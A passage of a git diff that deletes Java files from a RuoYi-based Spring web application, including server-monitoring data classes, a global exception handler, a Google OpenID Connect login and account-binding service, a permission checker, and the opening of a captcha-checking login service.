a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/TemplateDataVo.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/TemplateDataVo.java deleted file mode 100644 index 4fe84fe..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/TemplateDataVo.java +++ /dev/null @@ -1,13 +0,0 @@ -package com.ruoyi.framework.web.domain; - -import lombok.Data; - -@Data -public class TemplateDataVo { - - private String value; - - public TemplateDataVo(String value) { - this.value = value; - } -} \ No newline at end of file diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/WxMssVo.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/WxMssVo.java deleted file mode 100644 index 9da0167..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/WxMssVo.java +++ /dev/null @@ -1,13 +0,0 @@ -package com.ruoyi.framework.web.domain; - -import lombok.Data; - -import java.util.Map; - -@Data -public class WxMssVo { - private String touser;//用户openid - private String template_id;//模版id - private String page = "pages/index/index";//默认跳到小程序首页 - private Map data;//推送文字 -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Cpu.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Cpu.java deleted file mode 100644 index a13a66c..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Cpu.java +++ /dev/null @@ -1,101 +0,0 @@ -package com.ruoyi.framework.web.domain.server; - -import com.ruoyi.common.utils.Arith; - -/** - * CPU相关信息 - * - * @author ruoyi - */ -public class Cpu -{ - /** - * 核心数 - */ - private int cpuNum; - - /** - * CPU总的使用率 - */ - private double total; - - /** - * CPU系统使用率 - */ - private double sys; - - /** - * CPU用户使用率 - */ - private double used; - - /** - * CPU当前等待率 - */ - private double wait; - - /** - * CPU当前空闲率 - */ - private double free; - - public int getCpuNum() - { - return cpuNum; - } - - public void setCpuNum(int cpuNum) - { - this.cpuNum = cpuNum; - } - - public double getTotal() - { - return Arith.round(Arith.mul(total, 100), 2); - } - - public void setTotal(double total) - { - this.total = total; - } - - public double getSys() - { - return Arith.round(Arith.mul(sys / total, 100), 2); - } - - public void setSys(double sys) - { - this.sys = sys; - } - - public double getUsed() - { - return Arith.round(Arith.mul(used / total, 100), 2); - } - - public void setUsed(double used) - { - this.used = used; - } - - public double getWait() - { - return Arith.round(Arith.mul(wait / total, 100), 2); - } - - public void setWait(double wait) - { - this.wait = wait; - } - - public double getFree() - { - return Arith.round(Arith.mul(free / total, 100), 2); - } - - public void setFree(double free) - { - this.free = free; - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Jvm.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Jvm.java deleted file mode 100644 index 485d201..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Jvm.java +++ /dev/null @@ -1,122 +0,0 @@ -package com.ruoyi.framework.web.domain.server; - -import java.lang.management.ManagementFactory; -import com.ruoyi.common.utils.Arith; -import com.ruoyi.common.utils.DateUtils; - -/** - * JVM相关信息 - * - * @author ruoyi - */ -public class Jvm -{ - /** - * 当前JVM占用的内存总数(M) - */ - private double total; - - /** - * JVM最大可用内存总数(M) - */ - private double max; - - /** - * JVM空闲内存(M) - */ - private double free; - - /** - * JDK版本 - */ - private String version; - - /** - * JDK路径 - */ - private String home; - - public double getTotal() - { - return Arith.div(total, (1024 * 1024), 2); - } - - public void setTotal(double total) - { - this.total = total; - } - - public double getMax() - { - return Arith.div(max, (1024 * 1024), 2); - } - - public void setMax(double max) - { - this.max = max; - } - - public double getFree() - { - return Arith.div(free, (1024 * 1024), 2); - } - - public void setFree(double free) - { - this.free = free; - } - - public double getUsed() - { - return Arith.div(total - free, (1024 * 1024), 2); - } - - public double getUsage() - { - return Arith.mul(Arith.div(total - free, total, 4), 100); - } - - /** - * 获取JDK名称 - */ - public String getName() - { - return ManagementFactory.getRuntimeMXBean().getVmName(); - } - - public String getVersion() - { - return version; - } - - public void setVersion(String version) - { - this.version = version; - } - - public String getHome() - { - return home; - } - - public void setHome(String home) - { - this.home = home; - } - - /** - * JDK启动时间 - */ - public String getStartTime() - { - return DateUtils.parseDateToStr(DateUtils.YYYY_MM_DD_HH_MM_SS, DateUtils.getServerStartDate()); - } - - /** - * JDK运行时间 - */ - public String getRunTime() - { - return DateUtils.getDatePoor(DateUtils.getNowDate(), DateUtils.getServerStartDate()); - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Mem.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Mem.java deleted file mode 100644 index 13eec52..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Mem.java +++ /dev/null @@ -1,61 +0,0 @@ -package com.ruoyi.framework.web.domain.server; - -import com.ruoyi.common.utils.Arith; - -/** - * 內存相关信息 - * - * @author ruoyi - */ -public class Mem -{ - /** - * 内存总量 - */ - private double total; - - /** - * 已用内存 - */ - private double used; - - /** - * 剩余内存 - */ - private double free; - - public double getTotal() - { - return Arith.div(total, (1024 * 1024 * 1024), 2); - } - - public void setTotal(long total) - { - this.total = total; - } - - public double getUsed() - { - return Arith.div(used, (1024 * 1024 * 1024), 2); - } - - public void setUsed(long used) - { - this.used = used; - } - - public double getFree() - { - return Arith.div(free, (1024 * 1024 * 1024), 2); - } - - public void setFree(long free) - { - this.free = free; - } - - public double getUsage() - { - return Arith.mul(Arith.div(used, total, 4), 100); - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Sys.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Sys.java deleted file mode 100644 index 45d64d9..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/Sys.java +++ /dev/null @@ -1,84 +0,0 @@ -package com.ruoyi.framework.web.domain.server; - -/** - * 系统相关信息 - * - * @author ruoyi - */ -public class Sys -{ - /** - * 服务器名称 - */ - private String computerName; - - /** - * 服务器Ip - */ - private String computerIp; - - /** - * 项目路径 - */ - private String userDir; - - /** - * 操作系统 - */ - private String osName; - - /** - * 系统架构 - */ - private String osArch; - - public String getComputerName() - { - return computerName; - } - - public void setComputerName(String computerName) - { - this.computerName = computerName; - } - - public String getComputerIp() - { - return computerIp; - } - - public void setComputerIp(String computerIp) - { - this.computerIp = computerIp; - } - - public String getUserDir() - { - return userDir; - } - - public void setUserDir(String userDir) - { - this.userDir = userDir; - } - - public String getOsName() - { - return osName; - } - - public void setOsName(String osName) - { - this.osName = osName; - } - - public String getOsArch() - { - return osArch; - } - - public void setOsArch(String osArch) - { - this.osArch = osArch; - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/SysFile.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/SysFile.java deleted file mode 100644 index 1320cde..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/domain/server/SysFile.java +++ /dev/null @@ -1,114 +0,0 @@ -package com.ruoyi.framework.web.domain.server; - -/** - * 系统文件相关信息 - * - * @author ruoyi - */ -public class SysFile -{ - /** - * 盘符路径 - */ - private String dirName; - - /** - * 盘符类型 - */ - private String sysTypeName; - - /** - * 文件类型 - */ - private String typeName; - - /** - * 总大小 - */ - private String total; - - /** - * 剩余大小 - */ - private String free; - - /** - * 已经使用量 - */ - private String used; - - /** - * 资源的使用率 - */ - private double usage; - - public String getDirName() - { - return dirName; - } - - public void setDirName(String dirName) - { - this.dirName = dirName; - } - - public String getSysTypeName() - { - return sysTypeName; - } - - public void setSysTypeName(String sysTypeName) - { - this.sysTypeName = sysTypeName; - } - - public String getTypeName() - { - return typeName; - } - - public void setTypeName(String typeName) - { - this.typeName = typeName; - } - - public String getTotal() - { - return total; - } - - public void setTotal(String total) - { - this.total = total; - } - - public String getFree() - { - return free; - } - - public void setFree(String free) - { - this.free = free; - } - - public String getUsed() - { - return used; - } - - public void setUsed(String used) - { - this.used = used; - } - - public double getUsage() - { - return usage; - } - - public void setUsage(double usage) - { - this.usage = usage; - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/exception/GlobalExceptionHandler.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/exception/GlobalExceptionHandler.java deleted file mode 100644 index 845c6f2..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/exception/GlobalExceptionHandler.java +++ /dev/null @@ -1,117 +0,0 @@ -package com.ruoyi.framework.web.exception; - -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; -import org.springframework.security.access.AccessDeniedException; -import org.springframework.security.authentication.AccountExpiredException; -import org.springframework.security.core.userdetails.UsernameNotFoundException; -import org.springframework.validation.BindException; -import org.springframework.web.bind.MethodArgumentNotValidException; -import org.springframework.web.bind.annotation.ExceptionHandler; -import org.springframework.web.bind.annotation.RestControllerAdvice; -import org.springframework.web.servlet.NoHandlerFoundException; -import com.ruoyi.common.constant.HttpStatus; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.exception.BaseException; -import com.ruoyi.common.exception.CustomException; -import com.ruoyi.common.exception.DemoModeException; -import com.ruoyi.common.utils.StringUtils; - -/** - * 全局异常处理器 - * - * @author ruoyi - */ -@RestControllerAdvice -public class GlobalExceptionHandler -{ - private static final Logger log = LoggerFactory.getLogger(GlobalExceptionHandler.class); - - /** - * 基础异常 - */ - @ExceptionHandler(BaseException.class) - public AjaxResult baseException(BaseException e) - { - return AjaxResult.error(e.getMessage()); - } - - /** - * 业务异常 - */ - @ExceptionHandler(CustomException.class) - public AjaxResult businessException(CustomException e) - { - if (StringUtils.isNull(e.getCode())) - { - return AjaxResult.error(e.getMessage()); - } - return AjaxResult.error(e.getCode(), e.getMessage()); - } - - @ExceptionHandler(NoHandlerFoundException.class) - public AjaxResult handlerNoFoundException(Exception e) - { - log.error(e.getMessage(), e); - return AjaxResult.error(HttpStatus.NOT_FOUND, "路径不存在,请检查路径是否正确"); - } - - @ExceptionHandler(AccessDeniedException.class) - public AjaxResult handleAuthorizationException(AccessDeniedException e) - { - log.error(e.getMessage()); - return AjaxResult.error(HttpStatus.FORBIDDEN, "没有权限,请联系管理员授权"); - } - - @ExceptionHandler(AccountExpiredException.class) - public AjaxResult handleAccountExpiredException(AccountExpiredException e) - { - log.error(e.getMessage(), e); - return AjaxResult.error(e.getMessage()); - } - - @ExceptionHandler(UsernameNotFoundException.class) - public AjaxResult handleUsernameNotFoundException(UsernameNotFoundException e) - { - log.error(e.getMessage(), e); - return AjaxResult.error(e.getMessage()); - } - - @ExceptionHandler(Exception.class) - public AjaxResult handleException(Exception e) - { - log.error(e.getMessage(), e); - return AjaxResult.error(e.getMessage()); - } - - /** - * 自定义验证异常 - */ - @ExceptionHandler(BindException.class) - public AjaxResult validatedBindException(BindException e) - { - log.error(e.getMessage(), e); - String message = e.getAllErrors().get(0).getDefaultMessage(); - return AjaxResult.error(message); - } - - /** - * 自定义验证异常 - */ - @ExceptionHandler(MethodArgumentNotValidException.class) - public Object validExceptionHandler(MethodArgumentNotValidException e) - { - log.error(e.getMessage(), e); - String message = e.getBindingResult().getFieldError().getDefaultMessage(); - return AjaxResult.error(message); - } - - /** - * 演示模式异常 - */ - @ExceptionHandler(DemoModeException.class) - public AjaxResult demoModeException(DemoModeException e) - { - return AjaxResult.error("演示模式,不允许操作"); - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/GoogleOauthService.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/GoogleOauthService.java deleted file mode 100644 index a988b55..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/GoogleOauthService.java +++ /dev/null @@ -1,316 +0,0 @@ -package com.ruoyi.framework.web.service; - -import com.alibaba.fastjson.JSONObject; -import com.google.api.client.googleapis.auth.oauth2.GoogleIdToken; -import com.google.api.client.googleapis.auth.oauth2.GoogleIdTokenVerifier; -import com.google.api.client.http.javanet.NetHttpTransport; -import com.google.api.client.json.gson.GsonFactory; -import com.ruoyi.common.core.domain.entity.SysUser; -import com.ruoyi.common.core.domain.model.LoginUser; -import com.ruoyi.common.core.redis.RedisCache; -import com.ruoyi.common.enums.UserStatus; -import com.ruoyi.common.exception.CustomException; -import com.ruoyi.common.utils.StringUtils; -import com.ruoyi.common.utils.uuid.IdUtils; -import com.ruoyi.system.domain.SysUserGoogleOauth; -import com.ruoyi.system.mapper.SysUserGoogleOauthMapper; -import com.ruoyi.system.service.ISysUserService; -import org.springframework.beans.factory.annotation.Value; -import org.springframework.http.HttpEntity; -import org.springframework.http.HttpHeaders; -import org.springframework.http.MediaType; -import org.springframework.http.ResponseEntity; -import org.springframework.dao.DuplicateKeyException; -import org.springframework.stereotype.Service; -import org.springframework.transaction.annotation.Transactional; -import org.springframework.util.LinkedMultiValueMap; -import org.springframework.util.MultiValueMap; -import org.springframework.http.client.SimpleClientHttpRequestFactory; -import org.springframework.web.client.RestTemplate; -import org.springframework.web.util.UriComponentsBuilder; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; - -import java.io.IOException; -import java.net.URI; -import java.security.GeneralSecurityException; -import java.util.Collections; -import java.util.Date; -import java.util.concurrent.TimeUnit; - -/** Google OpenID Connect登录与本地账号绑定服务。 */ -@Service -public class GoogleOauthService { - private static final Logger LOGGER = LoggerFactory.getLogger(GoogleOauthService.class); - private static final String PROVIDER = "google"; - private static final String STATE_PREFIX = "oauth:google:state:"; - private static final String STATE_USED_PREFIX = "oauth:google:state-used:"; - private static final String TICKET_PREFIX = "oauth:google:ticket:"; - private static final String TICKET_USED_PREFIX = "oauth:google:ticket-used:"; - private static final int STATE_TTL_MINUTES = 10; - private static final int TICKET_TTL_SECONDS = 60; - - private final RedisCache redisCache; - private final SysUserGoogleOauthMapper identityMapper; - private final ISysUserService userService; - private final UserDetailsServiceImpl userDetailsService; - private final TokenService tokenService; - private final RestTemplate restTemplate; - - @Value("${google.oauth.enabled:false}") private boolean enabled; - @Value("${google.oauth.client-id:}") private String clientId; - @Value("${google.oauth.client-secret:}") private String clientSecret; - @Value("${google.oauth.redirect-uri:}") private String redirectUri; - @Value("${google.oauth.frontend-result-url:}") private String frontendResultUrl; - - public GoogleOauthService(RedisCache redisCache, SysUserGoogleOauthMapper identityMapper, - ISysUserService userService, UserDetailsServiceImpl userDetailsService, TokenService tokenService) { - this.redisCache = redisCache; - this.identityMapper = identityMapper; - this.userService = userService; - this.userDetailsService = userDetailsService; - this.tokenService = tokenService; - SimpleClientHttpRequestFactory requestFactory = new SimpleClientHttpRequestFactory(); - requestFactory.setConnectTimeout(60000); - requestFactory.setReadTimeout(60000); - this.restTemplate = new RestTemplate(requestFactory); - } - - /** 创建登录或绑定授权地址,绑定时的用户ID只保存在服务端Redis上下文。 */ - public String buildAuthorizationUrl(String purpose, Long userId) { - checkConfigured(); - if (!("LOGIN".equals(purpose) || "BIND".equals(purpose))) { - throw new CustomException("不支持的Google授权用途"); - } - if ("BIND".equals(purpose) && userId == null) { - throw new CustomException("请先登录本地账号再绑定Google"); - } - String state = IdUtils.fastUUID(); - String nonce = IdUtils.fastUUID(); - JSONObject context = new JSONObject(); - context.put("purpose", purpose); - context.put("userId", userId); - context.put("nonce", nonce); - redisCache.setCacheObject(STATE_PREFIX + state, - context.toJSONString(), STATE_TTL_MINUTES, TimeUnit.MINUTES); - return UriComponentsBuilder.fromHttpUrl("https://accounts.google.com/o/oauth2/v2/auth") - .queryParam("client_id", clientId) - .queryParam("redirect_uri", redirectUri) - .queryParam("response_type", "code") - .queryParam("scope", "openid email profile") - .queryParam("state", state) - .queryParam("nonce", nonce) - .queryParam("prompt", "select_account") - .build().encode().toUriString(); - } - - /** 处理Google回调。返回前端结果URL,URL中只包含短期一次性票据或非敏感错误码。 */ - @Transactional(rollbackFor = Exception.class) - public String handleCallback(String code, String state, String oauthError) { - if (StringUtils.isNotBlank(oauthError)) { - return resultUrl("cancelled", null); - } - if (StringUtils.isBlank(code) || StringUtils.isBlank(state)) { - return resultUrl("invalid_callback", null); - } - String contextJson = redisCache.getCacheObject(STATE_PREFIX + state); - if (StringUtils.isBlank(contextJson) - || !claim(STATE_USED_PREFIX + state, STATE_TTL_MINUTES, TimeUnit.MINUTES)) { - return resultUrl("invalid_state", null); - } - redisCache.deleteObject(STATE_PREFIX + state); - try { - JSONObject context = JSONObject.parseObject(contextJson); - GoogleProfile profile = exchangeAndVerify(code, context.getString("nonce")); - if ("BIND".equals(context.getString("purpose"))) { - Long userId = context.getLong("userId"); - bind(userId, profile); - LOGGER.info("Google账号绑定成功,本地用户ID:{}", userId); - return resultUrl("bound", null); - } - SysUserGoogleOauth identity = identityMapper.selectByProviderUserId(PROVIDER, profile.getSubject()); - if (identity == null) { - return resultUrl("not_bound", null); - } - updateProviderProfile(identity, profile); - SysUser user = requireActiveUser(identity.getUserId()); - String ticket = IdUtils.fastUUID(); - redisCache.setCacheObject(TICKET_PREFIX + ticket, user.getUserId(), - TICKET_TTL_SECONDS, TimeUnit.SECONDS); - return resultUrl("success", ticket); - } catch (CustomException exception) { - return resultUrl(exception.getMessage(), null); - } catch (DuplicateKeyException exception) { - LOGGER.warn("Google账号绑定发生并发唯一键冲突"); - return resultUrl("already_bound_elsewhere", null); - } catch (Exception exception) { - LOGGER.warn("Google OAuth回调处理失败:{}", exception.getClass().getSimpleName()); - return resultUrl("oauth_failed", null); - } - } - - /** 一次性票据换取现有RuoYi JWT;重复交换会被Redis原子锁拒绝。 */ - public String exchangeTicket(String ticket) { - if (StringUtils.isBlank(ticket) - || !claim(TICKET_USED_PREFIX + ticket, TICKET_TTL_SECONDS, TimeUnit.SECONDS)) { - throw new CustomException("Google登录票据无效或已使用"); - } - Long userId = redisCache.getCacheObject(TICKET_PREFIX + ticket); - redisCache.deleteObject(TICKET_PREFIX + ticket); - if (userId == null) { - throw new CustomException("Google登录票据已过期"); - } - SysUser user = requireActiveUser(userId); - LoginUser loginUser = (LoginUser) userDetailsService.loadUserByUsername(user.getUserName()); - return tokenService.createToken(loginUser); - } - - public SysUserGoogleOauth getBinding(Long userId) { - return identityMapper.selectByUserId(PROVIDER, userId); - } - - public void unbind(Long userId) { - if (identityMapper.deleteByUserId(PROVIDER, userId) > 0) { - LOGGER.info("Google账号解绑成功,本地用户ID:{}", userId); - } - } - - private GoogleProfile exchangeAndVerify(String code, String expectedNonce) - throws IOException, GeneralSecurityException { - HttpHeaders headers = new HttpHeaders(); - headers.setContentType(MediaType.APPLICATION_FORM_URLENCODED); - MultiValueMap form = new LinkedMultiValueMap<>(); - form.add("code", code); - form.add("client_id", clientId); - form.add("client_secret", clientSecret); - form.add("redirect_uri", redirectUri); - form.add("grant_type", "authorization_code"); - ResponseEntity response = restTemplate.postForEntity( - "https://oauth2.googleapis.com/token", new HttpEntity<>(form, headers), String.class); - JSONObject tokenResponse = JSONObject.parseObject(response.getBody()); - String idTokenValue = tokenResponse == null ? null : tokenResponse.getString("id_token"); - if (StringUtils.isBlank(idTokenValue)) { - throw new CustomException("oauth_failed"); - } - GoogleIdTokenVerifier verifier = new GoogleIdTokenVerifier.Builder( - new NetHttpTransport(), GsonFactory.getDefaultInstance()) - .setAudience(Collections.singletonList(clientId)).build(); - GoogleIdToken idToken = verifier.verify(idTokenValue); - if (idToken == null) { - throw new CustomException("invalid_token"); - } - GoogleIdToken.Payload payload = idToken.getPayload(); - if (!expectedNonce.equals(String.valueOf(payload.get("nonce")))) { - throw new CustomException("invalid_nonce"); - } - if (!Boolean.TRUE.equals(payload.getEmailVerified())) { - throw new CustomException("email_not_verified"); - } - return new GoogleProfile(payload.getSubject(), payload.getEmail(), - stringClaim(payload, "name"), stringClaim(payload, "picture")); - } - - private void bind(Long userId, GoogleProfile profile) { - requireActiveUser(userId); - SysUserGoogleOauth byGoogle = identityMapper.selectByProviderUserId(PROVIDER, profile.getSubject()); - if (byGoogle != null && !userId.equals(byGoogle.getUserId())) { - throw new CustomException("already_bound_elsewhere"); - } - SysUserGoogleOauth byUser = identityMapper.selectByUserId(PROVIDER, userId); - if (byUser != null && !profile.getSubject().equals(byUser.getProviderUserId())) { - throw new CustomException("local_already_bound"); - } - if (byUser != null) { - updateProviderProfile(byUser, profile); - return; - } - Date now = new Date(); - SysUserGoogleOauth identity = new SysUserGoogleOauth(); - identity.setUserId(userId); - identity.setProvider(PROVIDER); - identity.setProviderUserId(profile.getSubject()); - identity.setEmail(profile.getEmail()); - identity.setDisplayName(profile.getDisplayName()); - identity.setAvatarUrl(profile.getAvatarUrl()); - identity.setCreatedAt(now); - identity.setUpdatedAt(now); - identityMapper.insert(identity); - } - - private void updateProviderProfile(SysUserGoogleOauth identity, GoogleProfile profile) { - identity.setEmail(profile.getEmail()); - identity.setDisplayName(profile.getDisplayName()); - identity.setAvatarUrl(profile.getAvatarUrl()); - identity.setUpdatedAt(new Date()); - identityMapper.updateProfile(identity); - } - - private SysUser requireActiveUser(Long userId) { - SysUser user = userService.selectUserById(userId); - if (user == null || UserStatus.DELETED.getCode().equals(user.getDelFlag())) { - throw new CustomException("local_account_unavailable"); - } - if (!UserStatus.OK.getCode().equals(user.getStatus())) { - throw new CustomException("local_account_disabled"); - } - return user; - } - - private boolean claim(String key, int ttl, TimeUnit unit) { - Boolean success = redisCache.redisTemplate.opsForValue().setIfAbsent(key, "1", ttl, unit); - return Boolean.TRUE.equals(success); - } - - private String resultUrl(String status, String ticket) { - UriComponentsBuilder builder = UriComponentsBuilder.fromHttpUrl(frontendResultUrl) - .queryParam("status", status); - if (StringUtils.isNotBlank(ticket)) { - builder.queryParam("ticket", ticket); - } - return builder.build().encode().toUriString(); - } - - private void checkConfigured() { - if (!enabled) { - throw new CustomException("Google登录未启用"); - } - if (StringUtils.isBlank(clientId) || StringUtils.isBlank(clientSecret) - || StringUtils.isBlank(redirectUri) || StringUtils.isBlank(frontendResultUrl)) { - throw new CustomException("Google登录配置不完整"); - } - URI redirect = URI.create(redirectUri); - URI frontendResult = URI.create(frontendResultUrl); - if (!isSecureUrl(redirect)) { - throw new CustomException("Google生产回调地址必须使用HTTPS"); - } - if (!isSecureUrl(frontendResult)) { - throw new CustomException("Google生产前端结果地址必须使用HTTPS"); - } - } - - private boolean isSecureUrl(URI uri) { - return "https".equalsIgnoreCase(uri.getScheme()) - || ("http".equalsIgnoreCase(uri.getScheme()) - && ("localhost".equalsIgnoreCase(uri.getHost()) - || "127.0.0.1".equals(uri.getHost()))); - } - - private String stringClaim(GoogleIdToken.Payload payload, String name) { - Object value = payload.get(name); - return value == null ? null : String.valueOf(value); - } - - public boolean isEnabled() { return enabled; } - - private static class GoogleProfile { - private final String subject; - private final String email; - private final String displayName; - private final String avatarUrl; - GoogleProfile(String subject, String email, String displayName, String avatarUrl) { this.subject = subject; this.email = email; this.displayName = displayName; this.avatarUrl = avatarUrl; } - public String getSubject() { return subject; } - public String getEmail() { return email; } - public String getDisplayName() { return displayName; } - public String getAvatarUrl() { return avatarUrl; } - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/IWxService.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/IWxService.java deleted file mode 100644 index 0a3aeff..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/IWxService.java +++ /dev/null @@ -1,16 +0,0 @@ -package com.ruoyi.framework.web.service; - -import com.ruoyi.system.domain.ReqUserDTO; -import com.ruoyi.system.domain.SysWxUserPlus; - -import java.io.IOException; - -public interface IWxService { - ReqUserDTO getOpenId(String code, String encryptedData, String iv, String signature) throws IOException; - - SysWxUserPlus addUser(String code, String phoneIv, String phoneEncryptedData,String nologinPhone) throws IOException; - - boolean updatAvatar(String url); - - boolean updateNickName(String name); -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/PermissionService.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/PermissionService.java deleted file mode 100644 index 277e4b9..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/PermissionService.java +++ /dev/null @@ -1,169 +0,0 @@ -package com.ruoyi.framework.web.service; - -import java.util.Set; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; -import org.springframework.util.CollectionUtils; -import com.ruoyi.common.core.domain.entity.SysRole; -import com.ruoyi.common.core.domain.model.LoginUser; -import com.ruoyi.common.utils.ServletUtils; -import com.ruoyi.common.utils.StringUtils; - -/** - * RuoYi首创 自定义权限实现,ss取自SpringSecurity首字母 - * - * @author ruoyi - */ -@Service("ss") -public class PermissionService -{ - /** 所有权限标识 */ - private static final String ALL_PERMISSION = "*:*:*"; - - /** 管理员角色权限标识 */ - private static final String SUPER_ADMIN = "admin"; - - private static final String ROLE_DELIMETER = ","; - - private static final String PERMISSION_DELIMETER = ","; - - @Autowired - private TokenService tokenService; - - /** - * 验证用户是否具备某权限 - * - * @param permission 权限字符串 - * @return 用户是否具备某权限 - */ - public boolean hasPermi(String permission) - { - if (StringUtils.isEmpty(permission)) - { - return false; - } - LoginUser loginUser = tokenService.getLoginUser(ServletUtils.getRequest()); - if (StringUtils.isNull(loginUser) || CollectionUtils.isEmpty(loginUser.getPermissions())) - { - return false; - } - return hasPermissions(loginUser.getPermissions(), permission); - } - - /** - * 验证用户是否不具备某权限,与 hasPermi逻辑相反 - * - * @param permission 权限字符串 - * @return 用户是否不具备某权限 - */ - public boolean lacksPermi(String permission) - { - return hasPermi(permission) != true; - } - - /** - * 验证用户是否具有以下任意一个权限 - * - * @param permissions 以 PERMISSION_NAMES_DELIMETER 为分隔符的权限列表 - * @return 用户是否具有以下任意一个权限 - */ - public boolean hasAnyPermi(String permissions) - { - if (StringUtils.isEmpty(permissions)) - { - return false; - } - LoginUser loginUser = tokenService.getLoginUser(ServletUtils.getRequest()); - if (StringUtils.isNull(loginUser) || CollectionUtils.isEmpty(loginUser.getPermissions())) - { - return false; - } - Set authorities = loginUser.getPermissions(); - for (String permission : permissions.split(PERMISSION_DELIMETER)) - { - if (permission != null && hasPermissions(authorities, permission)) - { - return true; - } - } - return false; - } - - /** - * 判断用户是否拥有某个角色 - * - * @param role 角色字符串 - * @return 用户是否具备某角色 - */ - public boolean hasRole(String role) - { - if (StringUtils.isEmpty(role)) - { - return false; - } - LoginUser loginUser = tokenService.getLoginUser(ServletUtils.getRequest()); - if (StringUtils.isNull(loginUser) || CollectionUtils.isEmpty(loginUser.getUser().getRoles())) - { - return false; - } - for (SysRole sysRole : loginUser.getUser().getRoles()) - { - String roleKey = sysRole.getRoleKey(); - if (SUPER_ADMIN.equals(roleKey) || roleKey.equals(StringUtils.trim(role))) - { - return true; - } - } - return false; - } - - /** - * 验证用户是否不具备某角色,与 isRole逻辑相反。 - * - * @param role 角色名称 - * @return 用户是否不具备某角色 - */ - public boolean lacksRole(String role) - { - return hasRole(role) != true; - } - - /** - * 验证用户是否具有以下任意一个角色 - * - * @param roles 以 ROLE_NAMES_DELIMETER 为分隔符的角色列表 - * @return 用户是否具有以下任意一个角色 - */ - public boolean hasAnyRoles(String roles) - { - if (StringUtils.isEmpty(roles)) - { - return false; - } - LoginUser loginUser = tokenService.getLoginUser(ServletUtils.getRequest()); - if (StringUtils.isNull(loginUser) || CollectionUtils.isEmpty(loginUser.getUser().getRoles())) - { - return false; - } - for (String role : roles.split(ROLE_DELIMETER)) - { - if (hasRole(role)) - { - return true; - } - } - return false; - } - - /** - * 判断是否包含权限 - * - * @param permissions 权限列表 - * @param permission 权限字符串 - * @return 用户是否具备某权限 - */ - private boolean hasPermissions(Set permissions, String permission) - { - return permissions.contains(ALL_PERMISSION) || permissions.contains(StringUtils.trim(permission)); - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysLoginService.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysLoginService.java deleted file mode 100644 index d669957..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysLoginService.java +++ /dev/null @@ -1,99 +0,0 @@ -package com.ruoyi.framework.web.service; - -import javax.annotation.Resource; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.security.authentication.AuthenticationManager; -import org.springframework.security.authentication.BadCredentialsException; -import org.springframework.security.authentication.UsernamePasswordAuthenticationToken; -import org.springframework.security.core.Authentication; -import org.springframework.stereotype.Component; -import com.ruoyi.common.constant.Constants; -import com.ruoyi.common.core.domain.model.LoginUser; -import com.ruoyi.common.core.redis.RedisCache; -import com.ruoyi.common.exception.CustomException; -import com.ruoyi.common.exception.user.CaptchaException; -import com.ruoyi.common.exception.user.CaptchaExpireException; -import com.ruoyi.common.exception.user.UserPasswordNotMatchException; -import com.ruoyi.common.utils.MessageUtils; -import com.ruoyi.framework.manager.AsyncManager; -import com.ruoyi.framework.manager.factory.AsyncFactory; - -/** - * 登录校验方法 - * - * @author ruoyi - */ -@Component -public class SysLoginService -{ - @Autowired - private TokenService tokenService; - - @Resource - private AuthenticationManager authenticationManager; - - @Autowired - private RedisCache redisCache; - - /** - * 登录验证 - * - * @param username 用户名 - * @param password 密码 - * @param code 验证码 - * @param uuid 唯一标识 - * @return 结果 - */ - public String login(String username, String password, String code, String uuid,boolean checkcode) - { - validateCaptcha(username, code, uuid, checkcode); - return authenticate(username, password); - } - - /** 密码与动态码登录共用图形验证码校验,动态码不复用 code 字段。 */ - public void validateCaptcha(String username, String code, String uuid, boolean checkcode) - { - String verifyKey = Constants.CAPTCHA_CODE_KEY + uuid; - String captcha = redisCache.getCacheObject(verifyKey); - redisCache.deleteObject(verifyKey); - if (checkcode && captcha == null) - { - AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, 